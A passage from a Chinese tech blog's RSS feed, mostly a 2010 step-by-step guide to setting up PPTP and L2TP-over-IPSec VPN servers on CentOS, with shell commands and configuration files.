2001:250:6405::/48    浙江大学
2001:250:6800::/48    厦门大学
2001:250:6801::/48    集美大学
2001:250:6803::/48    福州大学
2001:250:6C00::/48    南昌大学
2001:250:7000::/48    大连理工大学
2001:250:7001::/48    东北大学
2001:250:7400::/48    吉林大学
2001:250:7401::/48    东北师范大学
2001:250:7801::/48    哈尔滨工程大学
2001:250:9001::/48    北京邮电大学
2001:251:4003::/48    华南农业大学
2001:251:4004::/48    暨南大学
2001:256:0100::/48    3Tnet网
2001:CC0:2020::/48    中科院研究生院</pre>
<p>参考资料：<br />
<a rel="nofollow" href="http://wiki.squid-cache.org/Features/IPv6" target="_blank">Squid Web Proxy Wiki</a></p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2010/12/centos-setup-squid-over-ipv6/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CentOS上部署PPTP和L2TP over IPSec简要笔记</title>
		<link>http://logicmd.net/2010/12/setup-pptp-and-l2tp-over-ipsec-on-centos/</link>
		<comments>http://logicmd.net/2010/12/setup-pptp-and-l2tp-over-ipsec-on-centos/#comments</comments>
		<pubDate>Thu, 16 Dec 2010 13:29:45 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Configure & Maintain]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[IPSec]]></category>
		<category><![CDATA[L2TP]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PPTP]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42404</guid>
		<description><![CDATA[PPTP部署
安装 PPTP 需要 MPPE 和较高版本的 ppp ( &#62; 2.4.3 ) 支持，不过 CentOS 5.0/RHEL 5 的 2.6.18 内核已经集成了 MPPE 和高版本的 ppp 。因此可以跳过安装配置 MPPE 和 ppp 的过程直接安装 PPTP。
如果需要检查 MPPE 是否存在可以使用以下命令：
shell&#62; modprobe ppp-compress-18 &#38;&#38; echo ‘MPPE found !’

1.安装 pptpd
#确保安装了ppp 和 iptables
yum install -y ppp iptables
wget  [...]]]></description>
			<content:encoded><![CDATA[<h2><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/pptp/" title="查看 PPTP 中的全部文章" target="_blank">PPTP</a></span>部署</h2>
<p>安装 <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/pptp/" title="查看 PPTP 中的全部文章" target="_blank">PPTP</a></span> 需要 MPPE 和较高版本的 ppp ( &gt; 2.4.3 ) 支持，不过 <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/centos/" title="查看 CentOS 中的全部文章" target="_blank">CentOS</a></span> 5.0/RHEL 5 的 2.6.18 内核已经集成了 MPPE 和高版本的 ppp 。因此可以跳过安装配置 MPPE 和 ppp 的过程直接安装 <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/pptp/" title="查看 PPTP 中的全部文章" target="_blank">PPTP</a></span>。</p>
<p>如果需要检查 MPPE 是否存在可以使用以下命令：</p>
<p>shell&gt; modprobe ppp-compress-18 &amp;&amp; echo ‘MPPE found !’<br />
<span id="more-42404"></span></p>
<h5>1.安装 pptpd</h5>
<pre class="brush:shell" title="32位">#确保安装了ppp 和 iptables
yum install -y ppp iptables
wget http://acelnmp.googlecode.com/files/pptpd-1.3.4-1.rhel5.1.i386.rpm
rpm -ivh pptpd-1.3.4-1.rhel5.1.i386.rpm</pre>
<blockquote><p>Notice:</p>
<ol>
<li> 官网http://poptop.sourceforge.net/已经删掉了1.3.4版的pptpd的RPM，所以只好在这个地方下载  <img src='http://logicmd.net/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </li>
<li>判断<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/centos/" title="查看 CentOS 中的全部文章" target="_blank">CentOS</a></span>系统是32位还是64位？ <code>getconf LONG_BIT</code></li>
</ol>
</blockquote>
<h5>2.配置文件编写</h5>
<p><strong>①.</strong>配置文件/etc/ppp/options.pptpd</p>
<pre class="brush:shell">mv /etc/ppp/options.pptpd /etc/ppp/options.pptpd.bak
cat &gt;&gt;/etc/ppp/options.pptpd&lt;&lt;EOF
name pptpd
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
require-mppe-128
proxyarp
lock
nobsdcomp
novj
novjccomp
nologfd
idle 2592000
ms-dns 8.8.8.8
ms-dns 8.8.4.4
EOF</pre>
<blockquote><p>name pptpd : pptpd server 的名称。</p>
<p>refuse-pap  : 拒绝 pap 身份验证模式。</p>
<p>refuse-chap  : 拒绝 chap 身份验证模式。</p>
<p>refuse-mschap  : 拒绝 mschap 身份验证模式。</p>
<p>require-mschap-v2  : 在端点进行连接握手时需要使用微软的 mschap-v2 进行自身验证。</p>
<p>require-mppe-128  : MPPE 模块使用 128 位加密。</p>
<p>ms-dns 8.8.8.8</p>
<p>ms-dns 8.8.4.4 : ppp 为 Windows 客户端提供 DNS 服务器 IP 地址，第一个 ms-dns 为 DNS Master，第二个为 DNS Slave。</p>
<p>proxyarp  : 建立 ARP 代理键值。</p>
<p>debug  : 开启调试模式，相关信息同样记录在 /var/logs/message 中。</p>
<p>lock : 锁定客户端 PTY 设备文件。</p>
<p>nobsdcomp : 禁用 BSD 压缩模式。</p>
<p>novj</p>
<p>novjccomp : 禁用 Van Jacobson 压缩模式。</p>
<p>nologfd : 禁止将错误信息记录到标准错误输出设备(stderr)。</p></blockquote>
<p><strong>②.</strong>配置文件/etc/ppp/chap-secrets</p>
<pre class="brush:shell">mv /etc/ppp/chap-secrets /etc/ppp/chap-secrets.bak
vi /etc/ppp/chap-secrets</pre>
<p>输入以下内容</p>
<pre class="brush:shell"># Secrets for authentication using CHAP
# client        server  secret                  IP addresses
myusername pptpd mypassword *</pre>
<p><strong>③.</strong>配置文件/etc/pptpd.conf</p>
<pre class="brush:shell">mv /etc/pptpd.conf /etc/pptpd.conf.bak
cat &gt;&gt;/etc/pptpd.conf&lt;&lt;EOF
#pptpd.conf
option /etc/ppp/options.pptpd
logwtmp
localip 10.82.18.1
remoteip 10.82.18.2-254
EOF</pre>
<p>注：为拨入<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>的用户动态分配10.82.18.2～10.82.18.254之间的IP</p>
<p><strong>④.</strong>配置文件/etc/sysctl.conf（修改内核转发参数）</p>
<p>如<a href="http://logicmd.net/2010/12/setup-ipv6-openvpn">上一篇博文</a>所述，可以<code>sysctl -w net.ipv4.ip_forward=1</code>，也可以</p>
<pre class="brush:shell">sed -i &#039;s/net.ipv4.ip_forward = 0/net.ipv4.ip_forward = 1/g&#039; /etc/sysctl.conf
sysctl -p</pre>
<p>直接替换<code>/etc/sysctl.conf</code>的内容。这样写的好处在于不必在启动脚本<code>/etc/rc.local</code>中添加<code>sysctl -w net.ipv4.ip_forward=1</code>，一劳永逸。</p>
<h2><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipsec/" title="查看 IPSec 中的全部文章" target="_blank">IPSec</a></span>+<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/l2tp/" title="查看 L2TP 中的全部文章" target="_blank">L2TP</a></span>部署</h2>
<p>这部分部署方法已经有现成的<a rel="nofollow" href="http://zeddicus.com/a-key-installation-package-l2tp">一键脚本</a>，怕麻烦的用户可以直接拿去跑。但是本着不求甚解的原则还是一步步列出。</p>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/l2tp/" title="查看 L2TP 中的全部文章" target="_blank">L2TP</a></span> (Layer 2 Tunneling Protocol) 是<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>隧道协议的一种，它使用UDP的1701端口进行通信。<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/l2tp/" title="查看 L2TP 中的全部文章" target="_blank">L2TP</a></span>本身并没有任何加密，但是我们可以使用<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipsec/" title="查看 IPSec 中的全部文章" target="_blank">IPSec</a></span>对L2TP包进行加密。更多关于L2TP的理论知识可以访问这个<a rel="nofollow" href="http://en.wikipedia.org/wiki/Layer_2_Tunneling_Protocol">Wiki</a></p>
<p>因为联通和移动陆续封掉了 <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/pptp/" title="查看 PPTP 中的全部文章" target="_blank">PPTP</a></span> 数据包，所以L2TP是移动设备<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>几乎唯一选择(Open<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>配置稍显麻烦)。</p>
<p>在<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/linux/" title="查看 Linux 中的全部文章" target="_blank">Linux</a></span>环境下，有很多方法配置L2TP；一个选项是采用<strong><code>openl2tpd</code></strong>，但是他对老版本的ppp隧道支持不好。更重要的是在<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/centos/" title="查看 CentOS 中的全部文章" target="_blank">CentOS</a></span>环境下，它要求内核需要patch，我想没多少人希望没事给内核patch吧。</p>
<p>基于这个原因，本文选择了<strong>xl2tpd </strong>&amp;<strong> rp-l2tpd</strong>，<strong>xl2tpd </strong>是由 Xelerance Corporation 维护的l2tpd应用。但是<strong>xl2tpd </strong>没有l2tp-control，需要从<strong>rp-l2tp</strong>这个里面提取。</p>
<h5>1.安装OpenSwan</h5>
<p>经典的2.6.24这个版本和最新的2.6.32都可以。</p>
<pre class="brush:shell">#安装依赖
yum install make gcc gmp-devel bison flex
wget http://www.openswan.org/download/openswan-2.6.32.tar.gz
tar zxvf openswan-2.6.32.tar.gz
cd openswan-2.6.32
make programs install</pre>
<p><strong>①.</strong>修改配置文件/etc/ipsec.conf</p>
<pre class="brush:shell;highlight:[24]">mv /etc/ipsec.conf /etc/ipsec.conf.bak
cat &gt;&gt;/etc/ipsec.conf&lt;&lt;EOF
#ipsec.conf
version 2.0
config setup
    nat_traversal=yes
    virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12
    oe=off
    protostack=netkey

conn L2TP-PSK-NAT
    rightsubnet=vhost:%priv
    also=L2TP-PSK-noNAT

conn L2TP-PSK-noNAT
    authby=secret
    pfs=no
    auto=add
    keyingtries=3
    rekey=no
    ikelifetime=8h
    keylife=1h
    type=transport
    left=YOUR.SERVER.IP.ADDRESS
    leftprotoport=17/1701
    right=%any
    rightprotoport=17/%any
EOF</pre>
<p><strong>②.</strong>设置 PSK</p>
<pre class="brush:shell">rm -r /etc/ipsec.secrets
cat &gt;&gt;/etc/ipsec.secrets&lt;&lt;EOF
YOUR.SERVER.IP.ADDRESS %any: PSK &quot;YourSharedSecret&quot;
EOF</pre>
<p><strong>③.</strong>修改包转发设置</p>
<pre class="brush:shell">for each in /proc/sys/net/ipv4/conf/*
do
echo 0 &gt; $each/accept_redirects
echo 0 &gt; $each/send_redirects
done
#若PPTP部分设置过，则下面不必在设置
sed -i &#039;s/net.ipv4.ip_forward = 0/net.ipv4.ip_forward = 1/g&#039; /etc/sysctl.conf
sysctl -p</pre>
<p>重新启动 ipsec，并测试运行效果</p>
<pre class="brush:shell">service ipsec restart
ipsec verify</pre>
<p>若无FAIL即为正常。<br />
这个时候 ipsec 部分完成了，可以测试一下，新建一个 ipsec+l2tp 的连接，填好服务器地址和 SharedKey，点连接。在服务端</p>
<pre class="brush:shell">tail -f /var/log/secure
#若出现以下内容，这代表IPSec一切正常
#pppd[3624]: IPSec connection established</pre>
<h5>2.安装xl2tpd和rp-l2tp</h5>
<p><strong>①.</strong>下载编译安装</p>
<pre class="brush:shell">#安装依赖
yum install libpcap-devel ppp
#rp-l2tp
wget http://downloads.sourceforge.net/project/rp-l2tp/rp-l2tp/0.4/rp-l2tp-0.4.tar.gz
tar zxvf rp-l2tp-0.4.tar.gz
cd rp-l2tp-0.4
./configure
make
cp handlers/l2tp-control /usr/local/sbin/
mkdir /var/run/xl2tpd/
ln -s /usr/local/sbin/l2tp-control /var/run/xl2tpd/l2tp-control
#xl2tpd
cd..
wget  http://ywko.googlecode.com/files/xl2tpd-1.2.4.tar.gz
tar zxvf xl2tpd-1.2.4.tar.gz
cd xl2tpd-1.2.4
make install</pre>
<blockquote><p>官网的xl2tpd已经404，所以&#8230;</p></blockquote>
<p><strong>②.</strong>写配置文件</p>
<pre class="brush:shell">mkdir /etc/xl2tpd
rm -f /etc/xl2tpd/xl2tpd.conf
cat &gt;&gt;/etc/xl2tpd/xl2tpd.conf&lt;&lt;EOF
#/etc/xl2tpd/xl2tpd.conf
[global]
ipsec saref = yes

[lns default]
ip range = 10.82.88.2-10.82.88.254
local ip = 10.82.88.1
refuse chap = yes
refuse pap = yes
require authentication = yes
ppp debug = yes
pppoptfile = /etc/ppp/options.xl2tpd
length bit = yes
EOF

rm -f /etc/ppp/options.xl2tpd
cat &gt;&gt;/etc/ppp/options.xl2tpd&lt;&lt;EOF
#/etc/ppp/options.xl2tpd
require-mschap-v2
ms-dns 8.8.8.8
ms-dns 8.8.4.4
asyncmap 0
auth
crtscts
lock
hide-password
modem
debug
name l2tpd
proxyarp
lcp-echo-interval 30
lcp-echo-failure 4
EOF</pre>
<p><strong>③.</strong>设置密码/etc/ppp/chap-secrets</p>
<p>输入以下内容</p>
<pre class="brush:shell"># Secrets for authentication using CHAP
# client        server  secret                  IP addresses
myusername l2tpd mypassword *</pre>
<h2>服务启动</h2>
<h5>1.配置防火墙iptables</h5>
<pre class="brush:shell">service iptables start
#可以考虑
#iptables -t nat -A POSTROUTING -o eth0 -s 10.82.18.0/24 -j MASQUERADE
#iptables -t nat -A POSTROUTING -o eth0 -s 10.82.88.0/24 -j MASQUERADE
#考虑到之后还要配置L2TP，直接一下倒显得更加简便
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE</pre>
<p>OpenVZ用户将eth0换成venet0即可。</p>
<h5>2.启动</h5>
<pre class="brush:shell">service pptpd start
ipsec verify
service ipsec restart
xl2tpd</pre>
<h5>3.配置自启动脚本，添加以下内容到/etc/rc.local</h5>
<pre class="brush:shell">iptables --table nat --append POSTROUTING --jump MASQUERADE
for each in /proc/sys/net/ipv4/conf/*
do
echo 0 &gt; $each/accept_redirects
echo 0 &gt; $each/send_redirects
done
/etc/init.d/ipsec restart
/usr/local/sbin/xl2tpd</pre>
<p>参考资料：</p>
<ul>
<li><a rel="nofollow" href="http://riobard.com/blog/2010-04-30-l2tp-over-ipsec-ubuntu/" target="_blank">Configure L2TP/IPSec VPN on Ubuntu</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2010/12/setup-pptp-and-l2tp-over-ipsec-on-centos/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 2/25 queries in 0.016 seconds using disk: basic
Object Caching 1134/1197 objects using disk: basic

Served from: logicmd.net @ 2012-02-23 01:10:12 -->
